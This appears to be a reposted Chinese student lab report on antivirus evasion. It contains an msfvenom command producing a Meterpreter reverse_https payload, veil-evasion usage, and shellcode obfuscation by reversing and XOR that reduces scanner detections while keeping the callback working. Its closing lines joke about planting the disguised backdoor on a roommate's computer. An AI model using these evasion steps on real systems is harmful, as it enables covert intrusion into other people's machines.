20154324 刘康权 Exp3 免杀原理与实践

2023-10-15 11:50

本文主要是介绍20154324 刘康权 Exp3 免杀原理与实践,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、实践目标与内容

1.实践内容

  • 利用多种工具实现实现恶意代码免杀
  • 在另一台电脑上,杀软开启的情况下,实现运行后门程序并回连成功

2.实践目标

  • 在保证后门程序功能的情况下实现杀软共生,(即使以后不能为所欲为)也要保证自己电脑安全

二、实践过程与步骤

1.使用msf编码器生成的后门程序

也就是上次实践生成的后门程序,通过检测非常的惨,直接被国内第一杀毒软件360杀掉了,在virscan网站扫描,也有20个杀毒引擎识别了出来,裸奔的后门程序还是很容易被辨识出来的。
1344859-20180407140406977-1209911881.png

2.使用veil-evasion生成的后门程序

2.1Kali上面没有veil这个平台,首先安装这个平台

apt-get install veil-evasion

2.2根据菜单选择一个模板生成,在这里我选择的是evasion里的c语言中的一个

1344859-20180407140934200-1301922330.png

2.3设置相关参数即LHOST,LPORT后输入general就会生成

1344859-20180407141124790-1742485803.png
1344859-20180407141131334-1367934530.png

2.4找到生成的程序拷贝到win7虚拟机后,没有被360查出来,virscan扫描有7个杀毒引擎识别了出来,可以veil-evasion的模板还是强的,但还是有不少引擎能识别出来

tip:找不到生成的程序,可以在本地电脑搜索veil,找到var/lib下的veil,打开output->compiled,就可以找到啦
1344859-20180407141310893-1023688242.png
1344859-20180407141323042-669103143.png

3.shellcode编程

3.1在Kali里生成一个C语言格式的shellcode

msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.211.133 -f c

3.2创建一个c文件,并进行编写,在linux环境下编译

1344859-20180407142024209-437199648.png

3.3拷贝至win7,能直接被360识别出来,virscan扫描有6个引擎可以识别出来且能回连成功

1344859-20180407142326484-1300573952.png
1344859-20180407142338729-1013200913.png
1344859-20180407142409131-436577410.png
tip:我尝试对shellcode进行倒序,换位,异或,但是在Kali环境下进行编译一直会被360识别出来,virscan扫描结果也基本没变

3.4拷贝c文件代码,在win10环境下,在codeblock进行编译,不会被360识别出来,virscan也只有3个引擎能识别出来

1344859-20180407163210767-1657919624.png

1344859-20180407142722596-2112104069.png

3.5即使在win10环境下进行编译,也还有3个引擎能识别出来,于是我对代码进行了改进,经过倒序,移位,异或后,它终于只能被......2个引擎识别了,且拷贝至win7环境能够运行,也能够回连。
  • 无论怎么改进,还是有两个引擎能识别出来,于是我对两个引擎进行了研究。
  • 其中GData引擎是实时更新的病毒库,所以我猜想是他成功记录下了c语言编译shellcode的特征,而另外一个是F-PORT,虽然它的病毒库是2016年更新的了,但我猜想它应该记录下了通过windows环境下编译shellcode的特征,因为我通过查看它的识别记录,发现它基本都识别出了我们是实验中的程序(哈哈,其中还有一个叫刺激战场的exe)

1344859-20180407143853011-635670582.png
1344859-20180407143348880-1579325436.png
1344859-20180407143406744-1691927756.png

4.对程序进行加壳

  • 实际并没有什么用,加壳后能识别出来的引擎数基本没变甚至还会变多
  • 我认为是杀毒引擎记录下了壳的特征,所以识别数甚至会变多

加壳前:
1344859-20180407144313483-1193173564.png

加壳后:
1344859-20180407144320381-86278590.png

三、基础问题回答

1.杀软是如何检测出恶意代码的?

  • (1)我认为现在的杀软主要是基于特征码进行检测的,特征码就是一段或多段数据,如果一个可执行文件包含这样的数据则被认为是恶意代码。
    (2)还有就是启发式恶意软件检测,就是根据些片面特征去推断。
    (3)还有就是基于行为的恶意软件检测,就是通用的、多特征的、非精确的扫描。

2.免杀是做什么?

  • 我认为免杀就是使杀毒软件检测不出恶意软件。

3.免杀的基本方法有哪些?

  • (1)通过多种方式改变特征码,例如加壳,生成shellcod,用其他语言进行重写再编译等等。
    (2)改变行为,例如改变通讯方式(使用反弹式连接)和操作模式(加入混淆作用的正常功能代码)。

四、离实战还缺些什么技术或步骤?

  • 还缺少将程序直接放进目标的手段,放进去以后还要它能够自己运行,毕竟很多人还是不会去运行陌生软件。

五、实践总结与体会

  • 通过这次实践,我们实现了恶意软件的免杀,而且这个过程也不是很复杂,不禁让我有了那么一丝恐惧,我的电脑里是不是也有不少这样的恶意软件,一定要抽个时间好好检查检查,还让我有了一丝兴奋,一旦把恶意软件伪装成微信,拷到我室友电脑里,等他一运行,他的秘密将无处可藏,哈哈哈哈(别提醒他)。

转载于:https://www.cnblogs.com/liukangquan/p/8733352.html

这篇关于20154324 刘康权 Exp3 免杀原理与实践的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/217516

相关文章

基于MySQL Binlog的Elasticsearch数据同步实践

一、为什么要做 随着马蜂窝的逐渐发展,我们的业务数据越来越多,单纯使用 MySQL 已经不能满足我们的数据查询需求,例如对于商品、订单等数据的多维度检索。 使用 Elasticsearch 存储业务数据可以很好的解决我们业务中的搜索需求。而数据进行异构存储后,随之而来的就是数据同步的问题。 二、现有方法及问题 对于数据同步,我们目前的解决方案是建立数据中间表。把需要检索的业务数据,统一放到一张M

深入探索协同过滤:从原理到推荐模块案例

文章目录 前言一、协同过滤1. 基于用户的协同过滤(UserCF)2. 基于物品的协同过滤(ItemCF)3. 相似度计算方法 二、相似度计算方法1. 欧氏距离2. 皮尔逊相关系数3. 杰卡德相似系数4. 余弦相似度 三、推荐模块案例1.基于文章的协同过滤推荐功能2.基于用户的协同过滤推荐功能 前言     在信息过载的时代,推荐系统成为连接用户与内容的桥梁。本文聚焦于

hdu4407(容斥原理)

题意:给一串数字1,2,......n,两个操作:1、修改第k个数字,2、查询区间[l,r]中与n互质的数之和。 解题思路:咱一看,像线段树,但是如果用线段树做,那么每个区间一定要记录所有的素因子,这样会超内存。然后我就做不来了。后来看了题解,原来是用容斥原理来做的。还记得这道题目吗?求区间[1,r]中与p互质的数的个数,如果不会的话就先去做那题吧。现在这题是求区间[l,r]中与n互质的数的和

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识

hdu4407容斥原理

题意: 有一个元素为 1~n 的数列{An},有2种操作(1000次): 1、求某段区间 [a,b] 中与 p 互质的数的和。 2、将数列中某个位置元素的值改变。 import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.IOException;import java.io.Inpu

hdu4059容斥原理

求1-n中与n互质的数的4次方之和 import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.PrintWrit

Prometheus与Grafana在DevOps中的应用与最佳实践

Prometheus 与 Grafana 在 DevOps 中的应用与最佳实践 随着 DevOps 文化和实践的普及,监控和可视化工具已成为 DevOps 工具链中不可或缺的部分。Prometheus 和 Grafana 是其中最受欢迎的开源监控解决方案之一,它们的结合能够为系统和应用程序提供全面的监控、告警和可视化展示。本篇文章将详细探讨 Prometheus 和 Grafana 在 DevO

寻迹模块TCRT5000的应用原理和功能实现(基于STM32)

目录 概述 1 认识TCRT5000 1.1 模块介绍 1.2 电气特性 2 系统应用 2.1 系统架构 2.2 STM32Cube创建工程 3 功能实现 3.1 代码实现 3.2 源代码文件 4 功能测试 4.1 检测黑线状态 4.2 未检测黑线状态 概述 本文主要介绍TCRT5000模块的使用原理,包括该模块的硬件实现方式,电路实现原理,还使用STM32类

springboot整合swagger2之最佳实践

来源:https://blog.lqdev.cn/2018/07/21/springboot/chapter-ten/ Swagger是一款RESTful接口的文档在线自动生成、功能测试功能框架。 一个规范和完整的框架,用于生成、描述、调用和可视化RESTful风格的Web服务,加上swagger-ui,可以有很好的呈现。 SpringBoot集成 pom <!--swagge

TL-Tomcat中长连接的底层源码原理实现

长连接:浏览器告诉tomcat不要将请求关掉。  如果不是长连接,tomcat响应后会告诉浏览器把这个连接关掉。    tomcat中有一个缓冲区  如果发送大批量数据后 又不处理  那么会堆积缓冲区 后面的请求会越来越慢。